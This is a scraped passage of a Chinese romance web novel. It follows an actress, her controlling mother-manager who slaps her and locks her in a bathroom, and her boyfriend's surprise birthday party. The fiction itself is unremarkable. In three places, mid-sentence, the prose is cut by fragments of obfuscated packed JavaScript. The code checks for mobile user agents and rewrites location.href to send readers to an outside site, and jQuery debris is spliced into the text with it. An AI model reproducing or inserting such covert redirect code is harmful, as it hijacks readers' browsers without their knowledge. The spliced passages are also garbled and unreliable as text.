“演戏就是这样。”驰路缓缓吐出烟圈,“有的人入戏太深,几天、几个月的走不出来。” 谢劲舟将她抱在怀里:“听着,阿驰,你现在不是祁梦,你是驰路!” “嗯。”驰路知道可以给自己这样的心理暗示,但当她很在意一部作品时,会刻意地不走出来,她想保持那种状态,可以提醒她,她是戏中人,入戏很快。 驰路从他怀里抬头,弹了弹烟灰:“舟哥,你怎么不骑摩托车了?” 谢劲舟轻描淡写道:“有车干吗骑摩托,晒黑了化起妆来费劲。” “说实话!”驰路才不会相信他这种鬼话,他曾经爱摩托车如同爱生命,不是跟她说过,他要拿全国赛车冠军,再去参加国际赛车比赛。 自从跟他分开过,驰路刷到摩托车赛车比赛视频时,总会多停留几秒,也就是这几秒,以后推给她的视频多的是摩托车比赛相关的,但进入全国决赛的名单里一次都没有谢劲舟。 他曾经不是在赛车场上风光无量,还杀入全国决赛吗,为什么一下子销声匿迹了? 这两个月,她一次都没见他开过摩托车。 谢劲舟狠狠地抽了两口烟:“老子不想骑还不行吗。” 驰路觉得他有些不对劲,追问:“谢劲舟,你是不是有什么事瞒着我?” “好了,我们回去吧,你还要准备下场戏。”谢劲舟拥住她,在她的额头上落下一吻。 驰路推开他,想再问点什么,忽然听到传来急促的脚步声,还有气急败坏的声音:“好啊,驰路,你来这儿,竟然是跟谢劲舟偷情了!” 驰路扭头看去,看到了一脸怒气的路漫,她什么时候来的?已经听多久墙根了? “谢劲舟,你不过就是剧组里打杂的,偶然的机会,被顾导发掘了,你以为你配得上我们家阿驰!”路漫丝毫不给谢劲舟留一点情面,神色鄙夷地看他,“我们家阿驰,现在是顶流明星,不能有任何绯闻,你跟她谈恋爱,就是毁了她!从现在开始,不允许再跟我们阿驰有任何联系!” 谢劲舟想说点什么,路漫直接抬手阻止:“你想说什么,我都知道,跟六年前一样是吧,如果是的话,把话吞回去,我不想听。你跟想阿驰在一起,不可能!” 六年前?驰路听得心中一怔?六年前老妈就找过谢劲舟? 路漫拽起驰路的手就想走,被驰路一把甩开:“妈,你知道你在做什么吗?” 路漫完全没了在公众面前端庄优雅的姿态,露出了她专横的一面,惹得驰路极度反感。 “我在做什么我很清楚,倒是你,驰路,你在做什么,你知道吗?你想自毁前程?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560824|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 驰路知道自己跟路漫少不了一顿争论,她懒得说,但又不得不面对。 她走到谢劲舟面前,压抑住内心的怒火,看似平静地跟他说:“你先走,我跟我妈聊聊。” 谢劲舟递给她一个了然的眼神,拍了拍她的肩膀,以示安慰。 等谢劲舟走远了,驰路尽量心平气和地跟路漫说:“妈,这六年我怎么走过来的,你都知道,是不是?” 路漫不耐烦道:“你想说什么直接说,别跟我绕圈子。” “一开始接不到重要角色,是谁说哪怕不给一分钱片酬,在剧组里跑龙套也可以的?在剧组拍戏被人欺负时,是谁迫于对方有强大背景,怕丢掉好不容易争取来的小角色忍气吞声的?第一次出演网剧女三号,被传出跟导演有一腿,遭受网络暴力的人是谁?21岁那年,出演女二号,陷入故意跟男主捆绑CP的又是谁?”驰路一一细数自己这六年来走过的困境,心头袭来难言的酸涩,嘴角勾起一抹嘲讽的笑意,“我遭遇这些时,你在哪里?每个时期,你都在不同的男人怀里吧。” 路漫本就被她跟谢劲舟在一起的事弄得气焰上涌,听到驰路这样说她,火气更大,抬手便给了她一巴掌。 驰路可以躲开,但她没躲,这一巴掌力道很大,打得她的脸狠狠地偏向一侧,耳朵嗡嗡作响,头发散了,发簪掉落在地。 驰路感到脸颊火辣辣的疼,林间吹来的风,明明是热乎乎的,她却觉得渗了冰雪,宛若射过来一个个冰锤,戳得她的心泛起一阵阵疼意。 驰路抬头看路漫,头发凌乱地散落在肩头,左脸颊有五个鲜明的手指印,眼睛红红的,显得狼狈又可怜:“妈,我的那些时刻,你都知道,但你没有一次在我身边,更没有一次安慰过我,哪怕一句。” 酷飒的金属嗓音里带着委屈。 路漫的神色微微一变,几不可察。 “你平时关心过我吗?在意过我吗?”驰路苦笑,“你会不厌其烦地催我试一套又一套晚礼服,就希望我去参加晚宴时,能被某个制片人或者导演看中,接个好的角色。” “妈这都不是为你好吗,你看,妈为你谈了多少个制片人、导演,给你接了多少好的本子。”路漫看着驰路脸上鼓起来的手指印,想抬手摸一摸,驰路却躲开了。 “真正为我好的人,会几次三番地想让我接擦边的网剧吗?真正为我好的人,会在导演揩我油的时候视若无睹吗?真正为我好的人,会在我被一次次网络暴力的时候,没有一次关心过我吗?你关心的只有有没有涉及到公司利益,要不要辟谣,但结果什么都没做,用你跟李的话说,黑红也是红,不用去管。但你知道,那些铺天盖地的谩骂、指责、诬陷,对我来说是什么吗?是噩梦,是一次次的失眠,是出现过很多次‘就这样吧,以后别演戏了’的念头。” “可是,谢劲舟不一样,就算我不在他身边,他都每个月都给我发邮件。”驰路看到路漫脸色明显一变,“他的邮件都是你拉入垃圾箱的吧!” “怎么……可能……是我。”路漫想要狡辩,心虚之下,说得断断续续,暴露了她的罪状。 “那些邮件都是已读状态,知道我Q/Q密码的就你一个,你不都看过了吗,既然你都看过了,就应该更知道,在这世界上,谁最懂我,谁最在意我,谁最爱我。” “他说,他困在了18岁那年的夏天。”驰路把乱了的头发拨到一边,眼睛越发潮红,声音也沉得厉害,“妈,我何尝不是呢。” 六年来,她第一次在路漫面前袒露心声,试图用自己的真心换得她的理解。 太多次的拉锯战,路漫作为她的经纪人,作为她身边最亲密的人,总有办法让她低头,基本每次她都不得不向路漫妥协。 这一次,她想要全力争取一回! “如果你真的爱我,不应该希望我幸福吗。”驰路仰起头,克制住要流下来的眼泪,语气笃定,“我的心从来都是空的,这世上只有两样东西可以将它填满,一是自由,二是谢劲舟。这两样东西,我都不会放手,这辈子都不会!” 108. 【驰舟】CP受阻扰 「月有残缺,爱也不完美。 但我偏偏想跟世俗来一场单刀赴会。 永远不是什么名词,是我爱你的样子。 小蝴蝶,我爱你! 我会乘轻舟、破长风,扬帆万里,不畏艰难,进驻你生命。」 ——《神明降临》 驰路在回别墅前,特意将头发解下来盖住脸颊,希望这样不会被谁看出异样。 好像谁都没有发现什么,照常礼貌地跟她打招呼。 很多时候,你以为别人把你当焦点,其实只是你多想。 她想往一楼的化妆室走,却被人拽住,匆匆地把她往二楼带去。 驰路刚想甩开对方,见是谢劲舟,忙低声问他:“在剧组呢,你干什么,被人看见了不好。” “这里有人吗?” 一句话让驰路哑口无言,她被谢劲舟带到了二楼的书房,谢劲舟反手带上门,一把撩开盖住她脸的头发,看到她左脸颊泛起的红,眉头一蹙,用指腹轻轻抚摸了下她泛红的地方,沉声说:“阿驰,下次一定要记得躲,这是你十八岁就知道的道理。” “我可以躲,但我不想躲了。”之前,每次路漫想要打她时,她总会躲开。 “为什么?” “我要让她愧疚。”驰路走到窗前,拉上白色纱帘,背靠着窗户,侧过头,透过缝隙,看到窗外的野花野草。 无人时,天地都是它们的,它们可以自由地傲然生长,但一旦有人入侵它们的领地,花草都会或多或少地被踩扁、踩坏。 人不也是这样吗,遇到阻碍自己向前走的人,流岚难望,青云难上。 她从来都是野草,生猛地扎在大地上,多少的风暴都无法将她打败,但唯独亲人,可以轻易地撕掉她的伪装、打碎她的傲骨。 只是,她从来不想向命运投降,更不想输。 谢劲舟掰过她的脸,压着火气,蹙眉:“她愧疚了,就能同意你跟我在一起?” “舟哥,我的人生不需要她做主。是我的,我不会放手。” “下次要记得躲,知道吗?”谢劲舟心疼地将她抱住,“她不疼你,老子疼你!” 这就够了,有个人,像太阳一样,温暖她的骨骼。 驰路环住他的腰,从他怀里抬头:“舟哥,六年前,我妈去找过你?” “都过去了。”谢劲舟并不想提那件事。 “我想听。” …… 六年前,路漫接驰路回去的那次,她找到谢劲舟,约他在芳町镇的一家咖啡馆,让他主动跟驰路提分手,一开始说得动之以情晓之以理:“小谢啊,你看你就要跟阿驰分居两地了,异地恋是不长久的,何况你俩都高三,正是人生最关键的阶段,分开对你俩都好。” 谢劲舟不说话,眼神漠然。 路漫知道十八岁的少年性子倔强,以为谈个恋爱就是永远。 她继续耐着性子说:“网上关于阿驰的新闻,你都看过吧,她为什么会下跪?欠下巨债,被高利贷追杀,又是从哪里传歪的?跟赌徒的儿子乱搞是不是事实?你家里的情况,我这次来之前了解了下,你爸做的那些混账事,一点不少,你觉得你爸会改吗?你觉得你能走出芳町镇吗?你跟阿驰是一路人吗?” “我是过来人,遇到的人、谈过的恋爱也不少,可以非常明确地告诉你,你要是不跟阿驰分手,不是爱,是自私,是只想占有。” “说完了吗?”谢劲舟听得烦躁不已,如果她不是自己女朋友的妈,早就扭头走人了。 “你主动跟阿驰分手,以后再也不要联系她,才是爱她的表现。”路漫说,“她才会专心学习,考上她想考的大学。” “阿姨,一、我不会跟阿驰提分手,这辈子都不会。二、就算分开了,也不是因为你。三、我希望,我不在她身边的日子,你能好好照顾她。” …… 谢劲舟简单地跟驰路说了当时路漫让他跟她分手的事,至于他最后跟路漫说的,只字未提。 “然后呢?”驰路问。 “什么然后?” “我妈说了那么多,把你给说服了?” “你傻不傻,我是那样的人?”谢劲舟慵懒地靠着窗,跟驰路并排站着,把胳膊搭在她的肩头,“我要是听了她的话,不就跟你提分手,我跟你提过吗?” “没有。” “阿驰,之前,我交女朋友时,跟她们说的最多的就是‘分手’,后来有个女生跟我说,谢劲舟,以后你别动不动跟人说‘分手’,知不知道,把这两个字挂在嘴上的人,有多伤人。”谢劲舟说,“那是我第一次意识到,不要把别人的喜欢,当成伤害别人的理由。就算我们分开,我也不会主动跟你说‘分手’,因为,你是我的信徒,神明就该好好守护他的信徒,不让她受一点伤。” “当年,你是不是意识到我要离开了?”驰路想到了六年前,离开前的那一晚,他们多次的刻骨缠绵,他似要将她揉进他的身体里,似梦非梦。 “嗯。” “舟哥,是我自私。”如果她坚持要留在芳町镇,路漫也不会拿她怎么样,但她是自私的,为了学业、为了星途,为了摆脱谢鸿运,她不想待在芳町镇了,她总要为自己的未来打算。 “不,你做得对!”谢劲舟搂紧她,“你是自由的蝴蝶,应该拥有更广阔的天空,而我不愿意做那个牵线的人,被绑住线的蝴蝶,是飞不高、飞不远的。在跟你失联的六年里,没有一天,我不希望你飞向高处。” * 这晚,路漫在驰路的房间待到了晚上十点,她知道,老妈在防着什么。 看来,白天跟她的袒露心声,算是白袒露了,脸也被她白打了。 老妈是没有一点觉悟意识啊! 她还要防着她到什么时候? 她一走,驰路就给谢劲舟发来信息,让他来她房间。 谢劲舟到房间门前,并未敲门,而是照例给驰路发了信息。 驰路先透过猫眼,确定是谢劲舟才开门。 门刚打开一条缝,谢劲舟便反手关上门,把她压到门板上,抚上她的脸,扣住她的下巴,手指插入她的发间,一遍遍地吻她,像怕失去她一样。 他夺走了她所有的呼吸,惹得她呼吸急促、耳根泛红。 得以喘息之际,驰路跟他说:“舟哥,我不会离开你的。” 谢劲舟这才满足地松开她,一把将她抱到了沙发上。 驰路躺下来,把脑袋枕在他的膝盖上,听到他说:“今晚我不走了。” “我妈明天一早就会来找我。” “就让她看见。”谢劲舟说,“让她知道,不管她说什么、做什么,都不能将我们分开。” “你这是要正面跟她刚?”驰路笑,“我跟你说,我妈最讨厌这套了,典型的吃软不吃硬。你要是想得到她的认可,就别来硬的。” “好。”谢劲舟探进她的衣服里,摸着她后背上的蝴蝶文身,“什么时候补上另一半文身吧。” “为什么?” “破碎的蝴蝶,找到了另一半的翅膀,就可以飞翔了。” “好啊,你陪我一起去文。” “可以。”谢劲舟的余光看到窗台上摆着的几盆洋桔梗,其中有三盆上周看的时候花都开了,现在看,不仅花没了,连花枝也被剪掉了,“怎么把花枝剪了?” “小苏喜欢,就剪了几枝给她。” 这时,驰路的手机振动着,她从谢劲舟怀里钻出来,去摸手机,看到小苏给她连续发了多条截图和几条链接时,吓得惊坐起来。 “发生什么了?”谢劲舟感到不妙,也坐起来,看着她的手机屏幕,一行大字赫然出现。 【时隔三个月,驰路新恋情曝光】 热搜第三,后面有一个橙色的【热】。 驰路点开截图,上面的照片,是今天下午,她跟谢劲舟在树林间,他吻她额头的照片,虽然照片模糊,但被放大后,能清晰地看到她跟谢劲舟的样子。 驰路遇到过太多这样的事,常常被狗仔偷拍,发到网上博取流量。 这会是谁偷拍的? …… 咚咚咚,外面传来一阵急促的敲门声。 这么晚了,还会有谁来找她? 驰路的第六感告诉她,老妈来了。 “应该是我妈,你先躲起来。”大晚上的,驰路还不想跟路漫大吵一架。 驰路拉着谢劲舟到衣柜前,打开柜门让他进去。 谢劲舟弯腰缩进了衣柜里,听到外面的敲门声越来越大:“你过去吧。” “千万别出来!” “好。” 驰路走到门边,刚把门打开,路漫便怒气冲冲地进来:“你怎么这么晚才开?听不到我在敲门吗!” “刚睡着了。”驰路淡定道。 “你看看,这是什么!”路漫坐到沙发上,把手机递到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560825|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眼前。 驰路当什么都不知道,拿过手机,显示的是微博热搜的画面,关于她跟谢劲舟的那条热搜已经冲到第一了。 这么晚了,那些粉丝还不睡觉的吗! “不就是绯闻吗,这不是你想看到的吗。”每次驰路上了热搜,路漫都喜闻乐见。 “这次跟之前一样吗,这是绯闻吗!”路漫皱着眉,“你好好看看,人家都怎么说你的。” 驰路点开热搜话题,里面分为两派,一派是磕两人CP的,说很般配,另一派是说驰路不检点,几个月就换男朋友,说这次导演启用新人,都是因为驰路,肯定是驰路说服导演和资方的,剧组才会采用谢劲舟这样的新人,要不然会有其他更合适的人来演陆程真。 “他们爱说什么就说什么,我管得着吗!”驰路把手机扔到路漫怀里,“别看了,你去睡吧。” “阿驰,你听妈妈的,跟谢劲舟分了,你跟他就不是同一个世界的。”路漫尽量放软声音,“你是大明星,他呢?不是专业出身,以后能不能走上演员这条路另说,而且,你之前怎么说的,绝对不可能跟圈内人谈恋爱,他现在就是圈内人啊,你为什么要违背自己定的规则?” “妈,规则这东西,是人定的,是可以用来打破的。”驰路坐到路漫身旁,挽起她的胳膊,“谢劲舟跟别人不一样,不管是六年前,还是六年后,他心里都只有我。我没告诉你,上次,他冒雨去山里找我,不顾生命危险地救了我。你说,一个人要多爱一个人,才会在危险降临时,毫不犹豫地推开对方,把危险留给自己?他是我生命里的特例,我愿意为他打破一切规则。这次,你就别放任我一回,行不行?” 这是驰路第一次跟路漫服软,为了谢劲舟。 躲在衣柜里的谢劲舟把这些都听了去,心头泛起难言滋味。 他们的感情,不是他一个人在坚守,她也在用力地守护着。 路漫摸着驰路的手背,脸上终于露出为人母才有的温柔和慈悲,语气也温和:“阿驰,你想过没有,还有一个月,这部电影就要杀青,你们就要分开,你会回北京,他呢,还会留在芳町镇,你们还会跟六年前一样,注定要分开,长痛不如短痛,现在分,比一个月后分更合适。” “妈,下午在小树林里跟你说的每个字都是真的。”驰路趁着自己唤起了路漫的母爱,连忙乘胜追击,发挥她的演技,红着眼眶说,“妈,你一定希望我幸福吧,如果希望我幸福的话,就让我跟谢劲舟在一起,好不好?” 路漫理解的幸福跟驰路理解的幸福截然不同,在她看来,驰路应该在她最火的时候,找个家底雄厚的,而不是谢劲舟这样落魄不堪的,这样的人,他没资格娶她的女儿。 “阿驰,妈妈知道你对谢劲舟还有感情,但你看,你们分开六年,也没事。”路漫说,“跟他断了,找个有钱有资源的,让你的后半辈子都无忧的男人,就算以后不拍戏了,还能当个阔太太。只有这样的人才能给你带来幸福,但谢劲舟不能!” 驰路见自己无法说服路漫,松开路漫的手,不演了,破罐子破摔:“随你怎么想,我不是小孩了,我现在有权利选择我想过的人生。想做什么,都是我的自由。你回去吧,我想要休息了。” “今晚我不回去!” “妈,你知道,我不习惯跟谁睡,你还是回去吧。”驰路继续下逐客令。 路漫要是在这里睡的话,藏在衣柜里的谢劲舟怎么办?还不得缺氧而亡! 路漫往卧室走,走到床边,拉起被子就要睡,却被驰路拽起胳膊:“妈,你非要这么做吗!” 路漫不管不顾地往床上一躺:“我告诉你,驰路,从现在开始,我24小时陪着你!” 驰路不耐烦了,扬声说:“你能不能别这样掌控我了?我也需要有自己的空间。” “你以为我愿意24小时陪着你?”路漫朝她递过去一记冷眼,“如果你不是我女儿,我才懒得管你,你爱跟谁在一起就跟谁在一起,哪怕是跟阿猫阿狗在一起,我都不管!” 话极其难听,驰路彻底怒了,拿起床头柜上的矿泉水瓶狠狠地往地上砸去,一脸怒气地跟路漫说:“我不想看到你,你现在给我走!不走,我就报警!” 路漫被驰路怒火冲天的言行吓了一跳,心微微发颤,却被压了下去。 正在她考虑要不要起身离开时,听到从某处传来手机铃声。 驰路心里一跳,完了,谢劲舟要被发现了! 109. 小蝴蝶缺席舟哥生日 「生活是刽子手,总想在我的身上烙下烧痕。 但我不服输。 我要用我的灵魂,对抗一千次、一万次的风暴。 这一次,我要固守春山!」 ——《小蝴蝶的自由》 路漫连忙起身,朝手机铃声响起的地方走去,衣柜里有人! 驰路赶紧跑到衣柜前,挡着门,驱赶路漫:“你给我走。” “我倒要看看,衣柜里是谁!”路漫一把将驰路推开,拉开柜门,赫然看到躲在里面的谢劲舟,“好啊,你是不是天天晚上跟谢劲舟鬼混!” 谢劲舟从衣柜里走出来,面色特别不好看,冷着一张脸:“阿姨,我是阿驰的男朋友,我来陪她,不是理所应当。” “理所应当,你躲衣柜做什么!”路漫像得了势的小人,以一种上位者的高傲神色瞪着谢劲舟。 谢劲舟刚才听到了她们的对话,对路漫的言辞感到格外不满,但因为她是驰路的母亲,不得不压住心头的火气,礼貌道:“我躲衣柜,是阿驰的想法,她不想跟你吵,她努力地想跟你和平相处。” 演了一天的戏,大晚上的还要听这些糟心事,驰路一阵心烦:“你们都走吧,我想一个人待着。” 谢劲舟看着驰路无力的模样,很想给她一个拥抱,但当着路漫的面,他终究什么都没说,只是跟她擦肩时,偷偷地握住了她的手,像在暗地里给她无声的力量。 外面传来门关上的声音,路漫依然没动,驰路望着她,已经不想跟她吵了:“妈,你走吧,好吗?” 路漫见自己占了上风,也就放过驰路了:“阿驰,听妈妈的,这部戏杀青之前,一定要跟谢劲舟分手,对你对他,都好。” 哒哒哒的高跟鞋声越来越远,又传来关门声。 驰路的世界彻底静了下来,她无力地靠在衣柜上,感到身心俱疲。 这时,手机振动了,她没去管。 通常,她一上热搜,总有号称“好友”的演艺圈的人关心她,问她是不是真的。 她要怎么回?真假这事说与不说,都可能成为别人发到话题里,伤害她的武器。 直到临睡前,驰路想给谢劲舟发点什么,发现,他在一个小时前给她发了一条信息:阿驰,什么都别看,什么都别想,把香薰蜡烛点上,想象着这一生,不论你被繁花簇拥,还是跌入谷底,至死都会有一个人爱你。 驰路看着这条信息,忽然有种想哭的冲动,她渴望世间一切的温暖,但身处娱乐圈,尽是血雨腥风,几乎人人都戴着虚假的面具。 就连最亲的老妈,也只是把她当赚钱的工具,从未真正考虑过她到底是否愿意、是否幸福。 她的一点风吹草动,都可以点燃话题。今晚,她是网络上的罪人,是那个把男朋友硬塞进剧组的无下限艺人;今晚,她是老妈眼里的叛逆者,是无论她说什么她都不听的女儿。 外人在偷窥她的生活,八卦她的新闻,亲人在试图掌控她的情感。 活着的意义是什么? 不就是为了那点渴望吗! 渴望自己空了的心被自由和谢劲舟填满,为什么这么难! 好在,有人踏光而来,给她无期限的爱,陪她一起面对接踵而至的风暴。 * 第二天的戏主要是谢劲舟跟许斯年的,他们饰演的陆程真、林墨一起去林间散步,却遇到了陷阱,两人掉入其中。 陷阱是一个深两米多的窄坑,他们身上罩了一层结实的网,像猎人专门为猎物准备的。 他们没有带任何可以解开网的工具,手、牙齿都用上,根本扯不开。 坑又小又窄,只能容纳两个人,根本都转不过身。两人像双面胶似的黏在一起,在夏日午后,足足待了有五个小时,早已热得快要中暑,就在林墨意识快要丧失之际,咚的一声,掉落一块石头,陆程真捡起来看,忽然想到了什么,拿起较尖的那头开始割网。 林墨见此,努力把自己从迷糊之境拔出来,一种精神上得到希望的信念支撑着他。 经过陆程真的一番努力,终于割断了网,他先从陷阱里爬出来,再把林墨拽了出来。 出来时,尚是傍晚时分,远处的晚霞、夕阳遍布天际,美得像一幅油画,但静悄悄的森林里,却透出一种难以言说的诡异气氛,似有谁在暗暗地谋划着什么。 回去的路上,林墨跟陆程真说起掉入陷阱一事,凭他做警察的经验,从坑是新挖的,网是新的,这山上也没从来过猎人,他推断,这是有人精心准备的。 林墨没有告诉陆程真,他收到了一张指向陈醉是杀害迪娜的照片。 在没有找到真凶之前,谁都可能是凶手,他不想打草惊蛇。 他们外出时,驰路在被陈醉折磨,这场戏NG了七八次,向来耐心十足的顾辞山都有点不耐烦了,喊驰路过去,毫不客气道:“你看看你今天演的什么!” 驰路看着监视器里自己演的这场戏,完全不在状态,眼神游离,神色单一,面对陈醉的折磨,只有下意识地挣扎和愤怒,却少了那种要挣脱命运枷锁的反抗。 她不在状态,是因为路漫昨晚跟她说的那些话影响了她的发挥。 说不担心她跟谢劲舟的未来那是假的,路漫是什么性格,她太了解,属于不达目的不罢休的典范。 在这部戏杀青前,路漫还会做点什么,驰路不好说,但一定是阻碍她跟谢劲舟的。 她的预感成真了。 …… 回到酒店,天已经快黑了,平安镇的街道上已经亮起了灯。 驰路住的算是平安镇最好的酒店,但这家酒店有些老旧了,不管床单换多少次,她都能闻到一股发霉的味道。 这些天的睡眠质量极差,网络上关于讨论她包养“野生酷哥”的话题高居不下,她懒得去看,但接二连三地收到了来自安然、梁清安、许婉、罗子昂等一众好友的关切。 安然:啊啊啊!我的驰大明星,你还是没逃过舟哥这一劫啊! 梁清安:阿驰,网上的那些消息是真的吗?你又跟他在一起了? 许婉:阿驰,你在平安镇拍戏啊,我在青宜市人民医院上班,有空约见。我看到热搜了,你跟舟哥重归于好啦? 罗子昂:驰妹,你选对人了!要不要我找人帮你下热搜? 言嘉芝也发来信息:阿驰,早就看出来谢劲舟对你有意思,没想到你们发展这么神速!这比火箭升天的速度还快! 驰路一一回复,跟好友透露的都是实情。 在回复言嘉芝时,她犹豫了好一会儿,才敲出一行字:之前就谈过。 路漫见她捧着手机敲字,凑过来想看,手机却被驰路及时地翻转过去。 “妈,你这样跟着我,没意思。” “要不要吃点什么?”路漫转移话题。 “不饿,不吃。”下午的那场戏,驰路演得格外费劲,到现在只喝了点水,饿是饿了,但她没有一点胃口,什么都不想吃。 驰路走到卧室,想拉开床头柜下面的柜子,只见路漫走了过来,连忙关上。 “里面有什么,给我看看。”路漫走过来。 “没什么。”驰路站起来,挡在了柜子前。 “你去卸妆吧。”路漫说,“粉打这么厚,早点去卸,要不然对皮肤不好。” “我现在不卸妆。”今天是谢劲舟的生日,她偷偷为他准备了生日派对,她要去参加,妆是现成的,根本不用卸。 要找点什么理由,才能支走老妈呢? “妈,你不是饿了吗,你先去餐厅吃饭吧。”驰路双手搭在路漫的肩头,推着她往外走。 路漫是什么人精,知道驰路别有意图,何况早上她听到驰路跟人打电话,帮她在“地球引力”酒吧安排生日派对,从她的聊天中得知,生日派对的主角是谢劲舟。 她本来就不同意两人在一起,更不希望驰路去参加谢劲舟的生日派对。 “餐厅的饭吃腻了,我叫了外卖。”路漫撩了撩还半湿的头发,“你去卫生间帮我拿下吹风机。” 驰路刚进卫生间,门便被人重重关上,她还听到钥匙在锁孔里转动的声音。 驰路很快反应过来发生了什么,路漫这是要把她锁在卫生间。 她砰砰砰地砸门:“妈,你干什么!快开门!” “你好好待在这里,哪里都别去!”路漫根本不去听驰路说些什么,门内的砸门声不断,她听得烦躁,只想赶紧离开这里。 走到门边,路漫看着插在卡槽里的房卡,想着卫生间里有一部救援电话,毫不犹豫地拔下房卡。 房间里的灯顿时熄灭,连同卫生间里的。 驰路的世界,陷入一片黑暗。 她还在一下一下地用力砸门,手都砸疼了,也没有停下来。 “妈,开门,你开门啊!”驰路嘶声力竭地喊着,但没有任何人回应她。 * 谢劲舟驱车来到了“地球引力”酒吧,罗子昂跟他说,让他过来喝一杯。 顺着罗子昂给他的包厢名,谢劲舟走上二楼,沿路走过“地球”“月亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560826|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”“灯塔”“岛屿”“萤火”等包厢,走到走廊尽头,才看到罗子昂发给他的命名为“海啸”的包厢。 他心生奇怪,明明有那么多好名字的包厢,为什么偏偏找个“海啸”的。 多大的人了,还玩青春期中二那套? 谢劲舟刚推开门,先是一片漆黑,一点光都没有。 罗刺猬还没来? 谢劲舟刚想拿出手机给他打电话,眼前的五彩射灯亮起,礼花砰砰砰地在他四周炸开,一声声“舟哥,生日快乐”,不约而同地响起。 生日快乐?谢劲舟愣在原地。 今天是他的生日?他全然忘记,这六年里,他出门在外,从来不给自己过生日,也从没有人给他过过生日。 谢奶奶每年会在他农历的生日,给他打一通电话,在电话里祝他“生日快乐”,叮嘱他给自己买蛋糕。 今天几号?他拿出手机看了看日期,8月28日,他的阳历生日,还没到农历生日。 罗子昂把他拉到沙发上:“咱们的寿星,请坐C座。” 谢劲舟看了看包厢,几乎站满了人,有谢奶奶、谢林乔、秦深、高中跟着他的三个小弟、清白乐队的四个成员、杜浩、沈倩倩。 把他生命里重要的人、相熟的人都请了过来。 阵仗大到让谢劲舟恍然如梦。 清白乐队上场,演唱了一首他作词的那首《去看看太阳》。 《去看看太阳》 风沙呼啸着响 落日升了又降 月光照耀谁的脸庞 谁又赢了万丈星光 哪片烟火乍亮 哪朵白云游荡 星辰照出谁的陈伤 野风吹散谁的惆怅 …… 你要穿越光阴、穿越风沙 穿越命运的高墙 看候鸟南迁 看大雁北往 你要冲破枷锁、冲破牢笼 冲破生命的荒唐 去看看太阳 去有你的远方 …… 这是他在高三那年写在笔记本上的一首鼓舞自己的歌,为什么会出现在这里?这是谁编的曲? “歌熟不熟悉?”罗子昂凑近谢劲舟。 谢劲舟让谢奶奶、谢林乔坐到了自己身边,问罗子昂:“你们在搞什么?” “看不见吗,为你庆祝生日啊,谢大明星!” “我算什么明星,你知道的,如果不是驰路,我不会同意参演。” “啧啧。”罗子昂说,“你这张脸,不混演艺圈可惜了,你说是不是啊,倩倩?” 沈倩倩给谢劲舟递过来一块哈密瓜:“舟哥,你条件很好,适合当演员。你看,”她把手机递到谢劲舟面前,“我现在是你超话的主持人,我们这10200只小船,都是你的超级粉丝。” 在谢劲舟没跟驰路上热搜前,超话里的粉丝才200个,讨论贴才200个,其中有199个都是她发的,这上完热搜,粉丝直接涨了一万。 “别弄这些,好好学习!”谢劲舟摆出做家长的姿态教育沈倩倩。 沈倩倩挤到谢劲舟身边,环住他的胳膊说:“我这是,学习、追星两不误!” “沈倩倩,你放开我哥!”谢林乔一把拽开沈倩倩,坐到谢劲舟身边。 “喂,谢林乔,你怎么次次都这么霸道,舟哥又不是你一个人的,怎么搞得像你的私有物!”沈倩倩抗议。 “我要跟我哥说说话。”谢林乔所谓的说话,就是跟她哥表达了生日祝福,祝他生日快乐,祝他能成为知名的建筑设计师。 她知道,他哥根本不喜欢当什么演员。 为了他爱的人,他违背了自己的原则,靠颜值谋生。 别人都以为他被驰大明星包养了,她在那个热搜第一的微博里悄悄发了条:谢劲舟能接到这个角色,不是靠包养,是靠实力! 这微弱的声音被淹没在声音的海洋里,不过谢林乔不在意。 哪怕这声音只被少数人看见,也是一种胜利。 这首歌结束,谢劲舟问坐过来的程佑白:“程佑白,你怎么会有这首歌?” “你不知道吗?”程佑白有些惊讶,“驰路发我的。据了解,是她亲自做的曲。” 为了他的生日宴会,这首歌无疑是送给他的一份大礼。 被埋藏在岁月里的歌词,得以窥见天日,还是以这样特殊的方式。 他扫视一圈,却发现作曲的主人不在。 奇怪,她怎么没来? 110. 命悬一线小蝴蝶 「小蝴蝶,我知道老子最怕什么吗? 最怕失去你的消息。 日子沉甸甸地压在我肩头。 不是天塌了,是我看不见你了。 看不见你的每个瞬息,都像过了几个冰河世纪。」 ——《神明降临》 之前的高中好友也都纷纷上前跟谢劲舟忆往昔。 秦深毕业后,在一家药厂跑销售,业绩还不错,其他几位小弟也都各有新的生活。 小弟们纷纷表示:“舟哥,你这大明星,等红了之后,带我们跑跑龙套也行啊,万一因为我们颜值高,被选中了当配角也不一定啊。” 